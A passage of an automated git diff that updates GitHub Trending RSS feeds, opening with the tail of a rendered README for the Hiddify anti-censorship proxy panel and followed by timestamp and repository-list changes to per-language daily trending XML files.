href="https://github.com/hiddify/hiddify-server/wiki"><img src="https://img.shields.io/badge/%20Wiki-Page-808080?style=flat-square" alt=""></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="https://github.com/hiddify/hiddify-server/discussions/categories/q-a-%D8%B3%D9%88%D8%A7%D9%84%D8%A7%D8%AA-%D8%B1%D8%A7%DB%8C%D8%AC"><img src="https://img.shields.io/badge/FAQ-Here-512DA8?style=flat-square&amp;logo=Favro" alt=""></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="https://github.com/hiddify/hiddify-server/issues"><img src="https://img.shields.io/badge/Report-Bugs-F67909?style=flat-square&amp;logo=Open-Bug-Bounty" alt=""></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p> </div> <br> <div align="center" markdown="1"> <p><img src="https://user-images.githubusercontent.com/125398461/227777845-a4d0f86b-faa2-4f2b-a410-4aa5f68bfe19.png" alt="Hiddify Logo"></p> </div> <br> <div align="center"> <!--[![Total Downloads](https://img.shields.io/github/downloads/hiddify/hiddify-server/total?label=downloads%20after%202023%2F03%2F27%2011%3A00%20&style=flat-square)](https://github.com/hiddify/hiddify-server/) [![Downloads](https://img.shields.io/pypi/dm/hiddifypanel?style=flat-square)](https://pypistats.org/packages/hiddifypanel)--> <p><a href="https://pepy.tech/project/hiddifypanel?display=monthly&amp;versions=2.*&amp;versions=1.*&amp;versions=3.*"><img src="https://static.pepy.tech/badge/hiddifypanel?style=flat-square&amp;v3" alt="Downloads"></a><a href="https://github.com/hiddify/hiddify-server/"><img src="https://img.shields.io/github/release/hiddify/hiddify-server/all.svg?style=flat-square" alt="Last Version"></a><a href="https://github.com/hiddify/hiddify-server/"><img src="https://img.shields.io/github/release-date/hiddify/hiddify-server.svg?style=flat-square" alt="Last Release Date"></a><img src="https://img.shields.io/github/commit-activity/m/hiddify/hiddify-server?style=flat-square" alt="commits"><a href="https://www.youtube.com/@hiddify"><img src="https://img.shields.io/youtube/channel/views/UCxrmeMvVryNfB4XL35lXQNg?label=Youtube&amp;style=flat-square&amp;logo=youtube" alt="Youtube"></a><a href="https://telegram.dog/hiddify"><img src="https://img.shields.io/endpoint?label=Channel&amp;style=flat-square&amp;url=https%3A%2F%2Ftg.sumanjay.workers.dev%2Fhiddify&amp;color=blue" alt="Telegram Channel"></a><a href="https://telegram.dog/hiddify_board"><img src="https://img.shields.io/endpoint?color=neon&amp;label=Support%20Group&amp;style=flat-square&amp;url=https%3A%2F%2Ftg.sumanjay.workers.dev%2Fhiddify_board" alt="Telegram Group"></a></p> <!-- [![Youtube](https://img.shields.io/youtube/channel/views/UCxrmeMvVryNfB4XL35lXQNg?label=Youtube&style=flat-square)](https://www.youtube.com/@hiddify/videos) [![Telegram Channel](https://img.shields.io/endpoint?label=Telegram&style=flat-square&url=https%3A%2F%2Ftg.sumanjay.workers.dev%2Fhiddify)](https://telegram.dog/hiddify) [![Telegram Group](https://img.shields.io/endpoint?color=neon&label=Support%20Group&style=flat-square&url=https%3A%2F%2Ftg.sumanjay.workers.dev%2Fhiddify_board)](https://telegram.dog/hiddify_board) [![GitHub Stars](https://img.shields.io/tokei/lines/github/hiddify/hiddify-server.svg)](https://github.com/hiddify/hiddify-server/) [![GitHub Stars](https://img.shields.io/github/stars/hiddify/hiddify-server.svg)](https://github.com/hiddify/hiddify-server/) [![GitHub Forks](https://img.shields.io/github/forks/hiddify/hiddify-server.svg)](https://github.com/hiddify/hiddify-server/) [![Telegram Channel](https://img.shields.io/endpoint?style=social&url=https%3A%2F%2Frunkit.io%2Fdamiankrawczyk%2Ftelegram-badge%2Fbranches%2Fmaster%3Furl%3Dhttps%3A%2F%2Ft.me%2Fhiddify&label=Telegram )](https://telegram.com/hiddify/) [![Telegram Channel](https://img.shields.io/endpoint?label=Telegram&style=plastic&url=https%3A%2F%2Ftg.sumanjay.workers.dev%2Fhiddify)](https://telegram.dog/hiddify) [![Telegram Group](https://img.shields.io/endpoint?color=neon&label=Support%20Group&style=plastic&url=https%3A%2F%2Ftg.sumanjay.workers.dev%2Fhiddify_board)](https://telegram.dog/hiddify_board) [![Youtube](https://img.shields.io/youtube/channel/views/UCxrmeMvVryNfB4XL35lXQNg?label=Youtube&style=plastic)](https://www.youtube.com/@hiddify) [![Twitter](https://img.shields.io/twitter/follow/hiddify_com?label=Twitter&style=plastic)](https://twitter.com/intent/follow?screen_name=hiddify_com) --> </div> <div dir="ltr" markdown="1"> <h2>Welcome to Hiddify</h2> <p>Hiddify is a powerful and professional anti-censorship toolbox, which is a multi-user panel with an effortless installation and <b>supporting more than 20 protocols</b> including <b>Reality</b> and <b>Telegram proxy</b> to circumvent filtering. It's optimized for censorship circumvention in <b>China</b>, <b>Russia</b> and <b>Iran</b> and Recommended by <a href="https://github.com/XTLS/Xray-core#installation" target="_blank"><b>Xray</b></a>. It's a great replacement of X-UI panel.</p> <p><img src="https://user-images.githubusercontent.com/125398461/234265624-36ee0a18-d4e8-4803-a9ad-331a7c5998e3.png" alt="English Demo"></p> <!-- ![English new](https://user-images.githubusercontent.com/125398461/234178583-ad520732-4cf3-411a-abec-0dfb42387869.png) ![english_demo](https://user-images.githubusercontent.com/114227601/228011984-83b1f981-aede-438e-920d-113d9894477a.png) ![English_Demo](https://user-images.githubusercontent.com/125398461/233846740-a1ff94a6-9031-40fd-ab3a-238dbeae9b0f.png) --> <hr> <h3>Table of Contents</h3> <ul> <li><a href="https://raw.githubusercontent.com/hiddify/Hiddify-Server/main/#why-hiddify">Why Hiddify?</a> <ul> <li><a href="https://raw.githubusercontent.com/hiddify/Hiddify-Server/main/#attractive-features">Attractive features</a></li> <li><a href="https://raw.githubusercontent.com/hiddify/Hiddify-Server/main/#supported-protocols">Supported protocols</a></li> <li><a href="https://raw.githubusercontent.com/hiddify/Hiddify-Server/main/#smart-proxy-for-domestic-and-filtered-sites">Smart Proxy For Domestic And Filtered Sites</a></li> <li><a href="https://raw.githubusercontent.com/hiddify/Hiddify-Server/main/#other-fantastic-features">Other fantastic features</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/hiddify/Hiddify-Server/main/#installation-and-tutorials">Installation and tutorials</a></li> <li><a href="https://raw.githubusercontent.com/hiddify/Hiddify-Server/main/#donation-and-support">Donation and Support</a></li> <li><a href="https://raw.githubusercontent.com/hiddify/Hiddify-Server/main/#collaboration-and-contact-information">Collaboration and Contact Information</a></li> </ul> <hr> <h2>Why Hiddify?</h2> <p>Hiddify is a mixture of Hidden and Simplify. It is a panel with a wide range of features and capabilities that helps you enjoy hassle-free and secure internet browsing. Serving as a user-friendly VPN solution, Hiddify ensures that you can access the free internet with ease and peace of mind.</p> <h3>Attractive features</h3> <ul> <li><strong>Quick installation</strong></li> <li>Multiple core <strong>Xray</strong> and <strong>SingBox</strong></li> <li><strong>Smart proxy</strong> (Hiddify and Clash client)</li> <li><strong>Automatic update</strong></li> <li><strong>Automatic backup</strong> (every 6 hours)</li> <li><strong>Automatic connection to Cloudflare</strong></li> <li>Using <strong>multiple domains</strong></li> <li><strong>Auto CDN IP</strong> configuration capability</li> <li>Management of <strong>active configurations</strong></li> <li><strong>Multiple admin privileges</strong></li> <li>the Only <strong>SingBox</strong> panel with <strong>user management</strong> feature</li> <li>Applying <strong>time and traffic limit</strong> for each user</li> <li><strong>Dedicated pages for users</strong> to view consumption and configurations</li> <li>Dedicated and <strong>smart configurations</strong></li> <li><strong>Dedicated client software</strong></li> <li><strong>Telegram proxy</strong> using different libraries</li> <li><strong>DNS over HTTPS</strong> (DoH)</li> <li>User management using <strong>Telegram Bot</strong></li> <li>Dedicated <strong>WARP</strong> to bypass some restrictions</li> </ul> <p>And dozens of other features that you will notice upon installation.</p> <details markdown="1"> <summary><h3>Supported protocols</h3> (click here)</summary> <table> <thead> <tr> <th>Supported Configs</th> <th>Supported Configs</th> <th>Supported Configs</th> </tr> </thead> <tbody> <tr> <td><strong>Direct</strong></td> <td><strong>CDN</strong></td> <td><strong>Domain Fronting</strong></td> </tr> <tr> <td>Trojan:<br>- TLS WS<br>- TLS TCP<br>- TLS gRPC<br>- TLS H2 WS<br>- TLS H2 TCP<br>- TLS H2 gRPC<br></td> <td>Trojan:<br>- TLS WS<br>- TLS gRPC<br>- TLS H2 WS<br>- TLS H2 gRPC<br><br><br></td> <td>Trojan:<br>- TLS WS Fake<br><br><br><br><br><br></td> </tr> <tr> <td>Vless:<br>- TLS WS<br>- HTTP WS<br>- TLS XTLS<br>- TLS gRPC<br>- TLS H2 TLS<br>- TLS H2 WS<br>- TLS H2 gRPC<br>- Reality XTLS<br>- Reality gRPC</td> <td>Vless:<br>- TLS WS<br>- TLS gRPC<br>- HTTP WS<br>- TLS H2 WS<br>- TLS H2 gRPC<br><br><br><br><br></td> <td>Vless:<br>- TLS WS Fake<br>- HTTP WS Fake<br><br><br><br><br><br><br><br></td> </tr> <tr> <td>Vmess:<br>- TLS WS<br>- TLS TCP<br>- HTTP WS<br>- HTTP TCP<br>- TLS gRPC<br>- TLS H2 WS<br>- TLS H2 TCP<br></td> <td>Vmess:<br>- TLS WS<br>- TLS gRPC<br>- HTTP WS<br>- TLS H2 WS<br>- TLS H2 gRPC<br><br><br></td> <td>Vmess:<br>- TLS WS Fake<br>- HTTP WS Fake<br><br><br><br><br><br></td> </tr> <tr> <td>V2ray:<br>- TLS WS<br>- HTTP WS<br>- TLS H2</td> <td>V2ray:<br>- TLS WS<br>- HTTP WS<br>- TLS H2</td> <td></td> </tr> <tr> <td>Shadowsocks:<br>- TLS Shadowtls<br>- HTTP Shadowtls<br>- TLS H2 Shadowtls<br>- TLS H3 Shadowtls</td> <td></td> <td></td> </tr> </tbody> </table> <!-- | Supported Configs | Supported Configs | | - | - | | ♥ **Telegram Proxy** ♥ | **vless+xtls** | | **Web Socket (cdn support)**:<br> - vless+tls+ws <br>- trojan+tls+ws <br> - vmess+tls+ws | **h2+tls**:<br> - vless+tls<br> - trojan+tls<br> - vmess+tls | | **grpc+tls**:<br> - vless+grpc+tls<br> - trojan+grpc+tls<br> - vmess+grpc+tls | **http1.1+tls**: <br>- trojan+tls <br> - vmess+tls| | **old configs**: <br> - trojango (cdn support) <br> - v2ray+ws (cdn support) <br> - vmess (cdn support) <br> - ss+faketls| **HTTP** <br> -unsafe, default is disable <br> - vless<br> -vmess | --> </details> <details markdown="1"> <summary><h3>Smart proxy for domestic and filtered sites</h3> (click here)</summary> <p>You can connect to the internet in 3 modes using Hiddify(Clash) client and Hiddify panel.</p> <ol> <li>This method only circumvents filtered websites via the proxies.</li> <li>This method circumvents all websites except domestic websites based in China, Russia and Iran. This way the domestic websites can be opened without any proxies (recommended)</li> <li>This method circumvents all websites.</li> </ol> <p>At the same time, the proposed solution is resistant to detection by the internet filtering entities and prevents the usual attacks on the server i.e., the possibility of detection is minimal, however, do not forget to disable other ports except 22, 80 and 443.</p> </details> <details markdown="1"> <summary><h3>Other fantastic features</h3> (click here)</summary> <details markdown="1"> <summary>Supported operating systems</summary> Hiddify has been tested on Ubuntu 20.04 and 22.04. Ubuntu arm64 or amd64 </details> <details markdown="1"> <summary>Speed test</summary> <p>In this way, you can check the speed of the server with and without anti-filter.</p> <p><img src="https://user-images.githubusercontent.com/114227601/210183115-4e1f4186-421e-4316-8082-3ce53275adc7.png" alt="speed_test"></p> </details> <details markdown="1"> <summary>DNS over HTTPS (CDN support)</summary> <p>To use DNS over HTTPS, just use the following DNS in the browser.</p> <p><code>https://yourdomain.com/yoursecret/dns/dns-query{?dns}</code></p> </details> <details markdown="1"> <summary>Redirector (CDN support)</summary> When you want to share Telegram proxy or Shadowsocks proxy through other programs, it is possible to redirect with CDN support. For example, if you put the Shadowsocks configuration instead of "fullURL", clicking on this link will open Shadowsocks app and activate the proxy on it. For example: `https://yourdomain.com/yoursecret/redirect/fullURL` <p>Replace "fullURL" by the Shadowsocks configuration.</p> <p><code>https://yourdomain.com/yoursecret/redirect/ss://secret/</code></p> </details> </details> <h2>Installation and tutorials</h2> <p><strong>Please find related information on our wiki page by clicking on image below.</strong></p> <div align="center" width="40%"> <p><a href="https://github.com/hiddify/hiddify-server/wiki"><img src="https://github.com/hiddify/hiddify-server/raw/main/docs/Turorials_en.webp" alt="Tutorials"></a></p> <!-- <a href="https://github.com/hiddify/hiddify-server/wiki"><img width="40%" src="https://github.com/hiddify/hiddify-server/assets/125398461/77960650-1bd0-4a12-b8d5-2735bec33934" /></a>--> </div> <h2>Donation And Support</h2> <p>The easiest way to support us is to click on the star (⭐) at the top of this page.</p> <p>We also need financial support for our services. All of our activities are done voluntarily and financial support will be spent on the development of the project. You can view our support addresses <a href="https://github.com/hiddify/hiddify-server/wiki/support">here</a>.</p> <h2>Collaboration and Contact Information</h2> <p>We need your collaboration in order to develop this project. If you are specialists in these areas, please do not hesitate to contact us.</p> <ul> <li>Media Production &nbsp;&nbsp;&nbsp;&nbsp;</li> <li>Python Developing &nbsp;&nbsp;&nbsp;&nbsp; ‌</li> <li>Kotlin Developing</li> <li>Flutter Developing &nbsp;&nbsp;&nbsp;&nbsp;</li> </ul> <div align="center"> <!-- ## Collaboration and Contact Information * Email: [contribute@hiddify.com](mailto:contribute@hiddify.com) * Annoncements: [Telegram Channel](https://t.me/hiddify) * Discussion: [Telegram Group](https://t.me/hiddify_board/5) --> <br> <p><a href="mailto:contribute@hiddify.com"><img src="https://img.shields.io/badge/Gmail-contribute@hiddify.com-green?style=flat-square&amp;logo=gmail" alt="Email"></a> <a href="https://telegram.dog/hiddify"><img src="https://img.shields.io/endpoint?label=Channel&amp;style=flat-square&amp;url=https%3A%2F%2Ftg.sumanjay.workers.dev%2Fhiddify&amp;color=blue" alt="Telegram Channel"></a> <a href="https://telegram.dog/hiddify_board"><img src="https://img.shields.io/endpoint?color=neon&amp;label=Support%20Group&amp;style=flat-square&amp;url=https%3A%2F%2Ftg.sumanjay.workers.dev%2Fhiddify_board" alt="Telegram Group"></a> <a href="https://www.youtube.com/@hiddify"><img src="https://img.shields.io/youtube/channel/views/UCxrmeMvVryNfB4XL35lXQNg?label=Youtube&amp;style=flat-square&amp;logo=youtube" alt="Youtube"></a> <a href="https://twitter.com/intent/follow?screen_name=hiddify_com"><img src="https://img.shields.io/twitter/follow/hiddify_com?color=%231DA1F2&amp;logo=twitter&amp;logoColor=1DA1F2&amp;style=flat-square" alt="Twitter"></a></p> </div> <p align="center"> We appreciate all people who are participating in this project. Some people here and many many more outside of Github. It means a lot to us. ♥ </p> <p align="center"> <a href="https://github.com/hiddify/hiddify-server/graphs/contributors"> <img src="https://contrib.rocks/image?repo=hiddify/hiddify-server"> </a> </p> <p align="center"> Made with <a rel="" target="_blank" href="https://contrib.rocks">Contrib.Rocks</a> </p> </div> - \ No newline at end of file diff --git a/shellcheck-config/daily/index.xml b/shellcheck-config/daily/index.xml index 188384eb338..729d1ca8731 100644 --- a/shellcheck-config/daily/index.xml +++ b/shellcheck-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub ShellCheck Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:07Z + 2023-09-20T01:40:48Z Daily Trending of ShellCheck Config in GitHub \ No newline at end of file diff --git a/shellsession/daily/index.xml b/shellsession/daily/index.xml index 5a96a4dcaad..5a427ae6834 100644 --- a/shellsession/daily/index.xml +++ b/shellsession/daily/index.xml @@ -1,7 +1,7 @@ GitHub ShellSession Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:26Z + 2023-09-20T01:41:07Z Daily Trending of ShellSession in GitHub \ No newline at end of file diff --git a/shen/daily/index.xml b/shen/daily/index.xml index b74d79fbc07..56845352a89 100644 --- a/shen/daily/index.xml +++ b/shen/daily/index.xml @@ -1,7 +1,7 @@ GitHub Shen Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:28Z + 2023-09-20T01:41:07Z Daily Trending of Shen in GitHub \ No newline at end of file diff --git a/sieve/daily/index.xml b/sieve/daily/index.xml index 771016bf02d..b02f88d6b49 100644 --- a/sieve/daily/index.xml +++ b/sieve/daily/index.xml @@ -1,7 +1,7 @@ GitHub Sieve Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:27Z + 2023-09-20T01:41:08Z Daily Trending of Sieve in GitHub \ No newline at end of file diff --git a/singularity/daily/index.xml b/singularity/daily/index.xml index 242c5a49d52..c2aad1d3e26 100644 --- a/singularity/daily/index.xml +++ b/singularity/daily/index.xml @@ -1,7 +1,7 @@ GitHub Singularity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:31Z + 2023-09-20T01:41:12Z Daily Trending of Singularity in GitHub \ No newline at end of file diff --git a/slash/daily/index.xml b/slash/daily/index.xml index 0cbea03d0bb..4251a250ac7 100644 --- a/slash/daily/index.xml +++ b/slash/daily/index.xml @@ -1,7 +1,7 @@ GitHub Slash Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:32Z + 2023-09-20T01:41:10Z Daily Trending of Slash in GitHub \ No newline at end of file diff --git a/slice/daily/index.xml b/slice/daily/index.xml index a66f1d36db3..a63769a7674 100644 --- a/slice/daily/index.xml +++ b/slice/daily/index.xml @@ -1,7 +1,7 @@ GitHub Slice Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:31Z + 2023-09-20T01:41:11Z Daily Trending of Slice in GitHub \ No newline at end of file diff --git a/slim/daily/index.xml b/slim/daily/index.xml index fdc073ec34e..1df56e27a57 100644 --- a/slim/daily/index.xml +++ b/slim/daily/index.xml @@ -1,7 +1,7 @@ GitHub Slim Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:33Z + 2023-09-20T01:41:13Z Daily Trending of Slim in GitHub \ No newline at end of file diff --git a/smali/daily/index.xml b/smali/daily/index.xml index c8c7aac69d4..0ad7eac78d7 100644 --- a/smali/daily/index.xml +++ b/smali/daily/index.xml @@ -1,7 +1,7 @@ GitHub Smali Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:37Z + 2023-09-20T01:41:15Z Daily Trending of Smali in GitHub \ No newline at end of file diff --git a/smalltalk/daily/index.xml b/smalltalk/daily/index.xml index 0f2a73c68ab..4a3005f4caf 100644 --- a/smalltalk/daily/index.xml +++ b/smalltalk/daily/index.xml @@ -1,14 +1,7 @@ GitHub Smalltalk Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:36Z + 2023-09-20T01:41:18Z Daily Trending of Smalltalk in GitHub - - CyberFerr/CalculadoraGit - 2023-09-19T01:39:36Z - tag:github.com,2023-09-19:/CyberFerr/CalculadoraGit - - <p></p><hr> - \ No newline at end of file diff --git a/smarty/daily/index.xml b/smarty/daily/index.xml index 7c10f76c31d..65381cbed13 100644 --- a/smarty/daily/index.xml +++ b/smarty/daily/index.xml @@ -1,7 +1,7 @@ GitHub Smarty Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:39Z + 2023-09-20T01:41:21Z Daily Trending of Smarty in GitHub \ No newline at end of file diff --git a/smpl/daily/index.xml b/smpl/daily/index.xml index 9fa2196aec1..0770861d3c6 100644 --- a/smpl/daily/index.xml +++ b/smpl/daily/index.xml @@ -1,7 +1,7 @@ GitHub SmPL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:40Z + 2023-09-20T01:41:23Z Daily Trending of SmPL in GitHub \ No newline at end of file diff --git a/smt/daily/index.xml b/smt/daily/index.xml index ea954b2e1df..eb3f301c6f9 100644 --- a/smt/daily/index.xml +++ b/smt/daily/index.xml @@ -1,7 +1,7 @@ GitHub SMT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:42Z + 2023-09-20T01:41:26Z Daily Trending of SMT in GitHub \ No newline at end of file diff --git a/solidity/daily/index.xml b/solidity/daily/index.xml index 8bf246d5bd1..485dae4476d 100644 --- a/solidity/daily/index.xml +++ b/solidity/daily/index.xml @@ -1,7 +1,21 @@ GitHub Solidity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:45Z + 2023-09-20T01:41:26Z Daily Trending of Solidity in GitHub + + wireshape/real-digital-smart-contracts + 2023-09-20T01:41:26Z + tag:github.com,2023-09-20:/wireshape/real-digital-smart-contracts + + <p>Contratos Inteligentes baseados na documentação do Piloto do Real Digital fornecidos pelo Bacen em 03-07-2023</p><hr> + + + seamless-protocol/token + 2023-09-20T01:41:26Z + tag:github.com,2023-09-20:/seamless-protocol/token + + <p></p><hr> + \ No newline at end of file diff --git a/soong/daily/index.xml b/soong/daily/index.xml index 3dac9a52a9f..cba5caad2f5 100644 --- a/soong/daily/index.xml +++ b/soong/daily/index.xml @@ -1,7 +1,7 @@ GitHub Soong Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:49Z + 2023-09-20T01:41:30Z Daily Trending of Soong in GitHub \ No newline at end of file diff --git a/sourcepawn/daily/index.xml b/sourcepawn/daily/index.xml index 6a4c1b9abfc..9387b53c0bf 100644 --- a/sourcepawn/daily/index.xml +++ b/sourcepawn/daily/index.xml @@ -1,7 +1,7 @@ GitHub SourcePawn Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:48Z + 2023-09-20T01:41:29Z Daily Trending of SourcePawn in GitHub \ No newline at end of file diff --git a/sparql/daily/index.xml b/sparql/daily/index.xml index c3bc2fe27ca..84c1c60ff16 100644 --- a/sparql/daily/index.xml +++ b/sparql/daily/index.xml @@ -1,7 +1,7 @@ GitHub SPARQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:46Z + 2023-09-20T01:41:28Z Daily Trending of SPARQL in GitHub \ No newline at end of file diff --git a/spline-font-database/daily/index.xml b/spline-font-database/daily/index.xml index c2d91a7f585..cf94d7d3ece 100644 --- a/spline-font-database/daily/index.xml +++ b/spline-font-database/daily/index.xml @@ -1,7 +1,7 @@ GitHub Spline Font Database Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:47Z + 2023-09-20T01:41:28Z Daily Trending of Spline Font Database in GitHub \ No newline at end of file diff --git a/sqf/daily/index.xml b/sqf/daily/index.xml index 033a3b56f28..bfbe30a3cd3 100644 --- a/sqf/daily/index.xml +++ b/sqf/daily/index.xml @@ -1,7 +1,7 @@ GitHub SQF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:50Z + 2023-09-20T01:41:31Z Daily Trending of SQF in GitHub \ No newline at end of file diff --git a/sql/daily/index.xml b/sql/daily/index.xml index 2d2f831bfdb..0d86ccdcbc3 100644 --- a/sql/daily/index.xml +++ b/sql/daily/index.xml @@ -1,7 +1,7 @@ GitHub SQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:52Z + 2023-09-20T01:41:32Z Daily Trending of SQL in GitHub \ No newline at end of file diff --git a/sqlpl/daily/index.xml b/sqlpl/daily/index.xml index 6ee97a2b188..79a765978e4 100644 --- a/sqlpl/daily/index.xml +++ b/sqlpl/daily/index.xml @@ -1,7 +1,7 @@ GitHub SQLPL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:53Z + 2023-09-20T01:41:33Z Daily Trending of SQLPL in GitHub \ No newline at end of file diff --git a/squirrel/daily/index.xml b/squirrel/daily/index.xml index a06ff52a5e4..43a6a035299 100644 --- a/squirrel/daily/index.xml +++ b/squirrel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Squirrel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:51Z + 2023-09-20T01:41:34Z Daily Trending of Squirrel in GitHub \ No newline at end of file diff --git a/srecode-template/daily/index.xml b/srecode-template/daily/index.xml index 20e969a22f0..dbb81148192 100644 --- a/srecode-template/daily/index.xml +++ b/srecode-template/daily/index.xml @@ -1,7 +1,7 @@ GitHub SRecode Template Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:57Z + 2023-09-20T01:41:36Z Daily Trending of SRecode Template in GitHub \ No newline at end of file diff --git a/ssh-config/daily/index.xml b/ssh-config/daily/index.xml index 0c1c464ce76..cb0cacb50d1 100644 --- a/ssh-config/daily/index.xml +++ b/ssh-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub SSH Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:56Z + 2023-09-20T01:41:35Z Daily Trending of SSH Config in GitHub \ No newline at end of file diff --git a/stan/daily/index.xml b/stan/daily/index.xml index ac33b66869f..5702c979af1 100644 --- a/stan/daily/index.xml +++ b/stan/daily/index.xml @@ -1,7 +1,7 @@ GitHub Stan Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:54Z + 2023-09-20T01:41:37Z Daily Trending of Stan in GitHub \ No newline at end of file diff --git a/standard-ml/daily/index.xml b/standard-ml/daily/index.xml index ee09108519e..7da3d69053a 100644 --- a/standard-ml/daily/index.xml +++ b/standard-ml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Standard ML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:55Z + 2023-09-20T01:41:38Z Daily Trending of Standard ML in GitHub \ No newline at end of file diff --git a/starlark/daily/index.xml b/starlark/daily/index.xml index 235aad601d6..21b60e6e4d3 100644 --- a/starlark/daily/index.xml +++ b/starlark/daily/index.xml @@ -1,7 +1,7 @@ GitHub Starlark Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:02Z + 2023-09-20T01:41:43Z Daily Trending of Starlark in GitHub \ No newline at end of file diff --git a/stata/daily/index.xml b/stata/daily/index.xml index b324b15aff8..d4beb83a338 100644 --- a/stata/daily/index.xml +++ b/stata/daily/index.xml @@ -1,7 +1,7 @@ GitHub Stata Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:59Z + 2023-09-20T01:41:40Z Daily Trending of Stata in GitHub \ No newline at end of file diff --git a/ston/daily/index.xml b/ston/daily/index.xml index f10a38262d6..7aa7d2e6fba 100644 --- a/ston/daily/index.xml +++ b/ston/daily/index.xml @@ -1,7 +1,7 @@ GitHub STON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:06Z + 2023-09-20T01:41:47Z Daily Trending of STON in GitHub \ No newline at end of file diff --git a/stringtemplate/daily/index.xml b/stringtemplate/daily/index.xml index 6053e1739c6..83f329c6d30 100644 --- a/stringtemplate/daily/index.xml +++ b/stringtemplate/daily/index.xml @@ -1,7 +1,7 @@ GitHub StringTemplate Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:05Z + 2023-09-20T01:41:46Z Daily Trending of StringTemplate in GitHub \ No newline at end of file diff --git a/stylus/daily/index.xml b/stylus/daily/index.xml index 88504b017cb..292b3e46bc2 100644 --- a/stylus/daily/index.xml +++ b/stylus/daily/index.xml @@ -1,7 +1,7 @@ GitHub Stylus Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:05Z + 2023-09-20T01:41:45Z Daily Trending of Stylus in GitHub \ No newline at end of file diff --git a/subrip-text/daily/index.xml b/subrip-text/daily/index.xml index 2ad685caea2..e152b9f821d 100644 --- a/subrip-text/daily/index.xml +++ b/subrip-text/daily/index.xml @@ -1,7 +1,7 @@ GitHub SubRip Text Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:03Z + 2023-09-20T01:41:46Z Daily Trending of SubRip Text in GitHub \ No newline at end of file diff --git a/sugarss/daily/index.xml b/sugarss/daily/index.xml index 3d720da1490..70e7b4e3cd6 100644 --- a/sugarss/daily/index.xml +++ b/sugarss/daily/index.xml @@ -1,7 +1,7 @@ GitHub SugarSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:12Z + 2023-09-20T01:41:48Z Daily Trending of SugarSS in GitHub \ No newline at end of file diff --git a/supercollider/daily/index.xml b/supercollider/daily/index.xml index 201310bfb58..962f4f5200e 100644 --- a/supercollider/daily/index.xml +++ b/supercollider/daily/index.xml @@ -1,7 +1,7 @@ GitHub SuperCollider Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:08Z + 2023-09-20T01:41:50Z Daily Trending of SuperCollider in GitHub \ No newline at end of file diff --git a/svelte/daily/index.xml b/svelte/daily/index.xml index 0f4da042736..e258911559f 100644 --- a/svelte/daily/index.xml +++ b/svelte/daily/index.xml @@ -1,21 +1,21 @@ GitHub Svelte Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:11Z + 2023-09-20T01:41:53Z Daily Trending of Svelte in GitHub - nottherealsanta/ganimede - 2023-09-19T01:40:11Z - tag:github.com,2023-09-19:/nottherealsanta/ganimede - - <p></p><hr> + mskocik/svelty-picker + 2023-09-20T01:41:53Z + tag:github.com,2023-09-20:/mskocik/svelty-picker + + <p>Simple date & time picker in svelte</p><hr> - Abyss-Services/Abyss-Web - 2023-09-19T01:40:11Z - tag:github.com,2023-09-19:/Abyss-Services/Abyss-Web - - <p>Abyss is the best and most modern proxy to avoid modern censorship.</p><hr> + csunibo/dynamik + 2023-09-20T01:41:53Z + tag:github.com,2023-09-20:/csunibo/dynamik + + <p>Frontend per accedere alle risorse di csunibo</p><hr> \ No newline at end of file diff --git a/svg/daily/index.xml b/svg/daily/index.xml index 